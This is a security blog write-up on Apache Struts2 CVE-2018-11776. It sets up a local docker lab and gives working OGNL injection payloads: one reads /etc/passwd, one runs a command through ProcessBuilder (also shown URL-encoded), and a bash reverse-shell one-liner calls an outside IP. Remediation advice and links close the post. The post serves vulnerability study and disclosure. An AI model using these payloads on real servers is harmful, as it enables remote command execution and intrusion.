Apache Struts2 CVE-2018-11776 POC
Learn about the Struts2 Remote Code Execution vulnerability CVE-2018-11776, how to exploit and how to create a Proof of Concept (POC) with docker.
Learn about the Struts2 Remote Code Execution vulnerability CVE-2018-11776, how to exploit and how to create a Proof of Concept (POC) with docker.
Overview of the Vulnerability
As reported in the CVE-2018-11776 description:
Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible Remote Code Execution when using results with no namespace and in same time, its upper action(s) have no or wildcard namespace.
But what is a namespace?
In few words, a namespace in struts is a group of actions. Two actions with the same name can exist in two different namespaces and have different behavior. Let's suppose that we have a web app named "superhero", and after deploying superhero.war we have:
http://localhost:8080/superhero/index.action, where / is the namespace and index.action is the action
or we have:
http://localhost:8080/superhero/superman/fly.action, where /superman is the namespace and fly.action is the action
The problem occurs when the web application uses an action without specifying any namespace or it uses a wildcard namespace like /*. If Struts can't find any namespace for the given action, it will take a user-specified namespace and evaluates it as a OGNL expression, allowing the attacker to exploits a Remote Code Execution / Remote Command Execution on the web application.
OGNL (Object-Graph Navigation Language) is an open-source Expression Language (EL) for Java, which, while using simpler expressions than the full range of those supported by the Java language, allows getting and setting properties, and execution of methods of Java classes. This is important because the exploit payload is nothing than an OGNL expression like this:
${2+2} // return 4
Or to exploit a Remote Code Execution:
${
(
#_memberAccess["allowStaticMethodAccess"]=true,
#[email protected]@getRuntime().exec('cat /etc/passwd').getInputStream(),
#b=new java.io.InputStreamReader(#a),
#c=new java.io.BufferedReader(#b),
#d=new char[51020],
#c.read(#d),
#[email protected]@getResponse().getWriter(),
#jas502n.println(#d),
#jas502n.close()
)
}
As you can see, the OGNL above executes cat /etc/passwd
and prints out the standard output buffer of the executed command.
POC using docker
Thanks to hook for the awesome work on his POC, please take a look at his repository on github!
We can use the docker container build for cve-2017-5638 and add a custom action.
The first step, pull the docker image:
$ docker pull piesecurity/apache-struts2-cve-2017-5638
Now, start the container exposing the port 8080:
$ docker run -d --name struts2 -p 8080:8080 piesecurity/apache-struts2-cve-2017-5638
Ok, it should be reachable on http://localhost:8080:
Now it's time to edit the /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml file.
First install a text editor like vim:
$ docker exec -t -i struts2 /bin/bash
$ apt-get update
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
Add the following string inside <struts>:
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
Then add this action inside <package name="default" extends="struts-default">:
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
Once done, restart the container:
$ exit
$ docker restart struts2
Discover the vulnerability
Now we have a vulnerable struts2 and an empty namespace that we could replace with an OGNL expression. Let's do a test:
As you can see, after requesting the namespace ${2+2} (with something like http://localhost:8080/${2+2}/date.action) the Location header change to /4/date.action and it means that our OGNL expression has been executed.
Now, I can exploit a Remote Code Execution and a Remote Command Execution using the following payload in order to execute the command id:
${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
urlencoding the payload it becomes:
%24%7B%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29.
%28%23cmd%3D%27id%27%29.%28%23iswin%3D%28%40java.lang.System%40getPrope
rty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.
%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27c%27%2C%23cmd%7D%3A%7B
%27bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.Proce
ssBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%
23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.Se
rvletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%
40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%2
9%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D
The id command is successfully executed on the target webserver.
Obviously, you can get a reverse shell by executing something like "bash -i >& /dev/tcp/192.168.1.2/1337 0>&1" and encoding whitespace with %20, ">" with %3E and "&" with %26:
Remediations
- Upgrade Struts: Users of Struts 2.3 can upgrade to 2.3.35; users of Struts 2.5 can upgrade to 2.5.17
- Walter Hop from OWASP ModSecurity Core Rule Set has made this brand new Pull Request https://github.com/SpiderLabs/owasp-modsecurity-crs/pull/1177
Useful links
https://github.com/hook-s3c/CVE-2018-11776-Python-PoC
http://blog.atucom.net/2018/08/apache-struts-2-vulnerability-exploit.html
https://github.com/vulhub/vulhub/tree/master/struts2
I have been using a remote browser to research this story. If the endpoint is the new perimeter, then remote browser isolation is the future of endpoint security.
If you liked this post...
Twitter: @AndreaTheMiddle
GitHub: theMiddleBlue
LinkedIn: Andrea Menin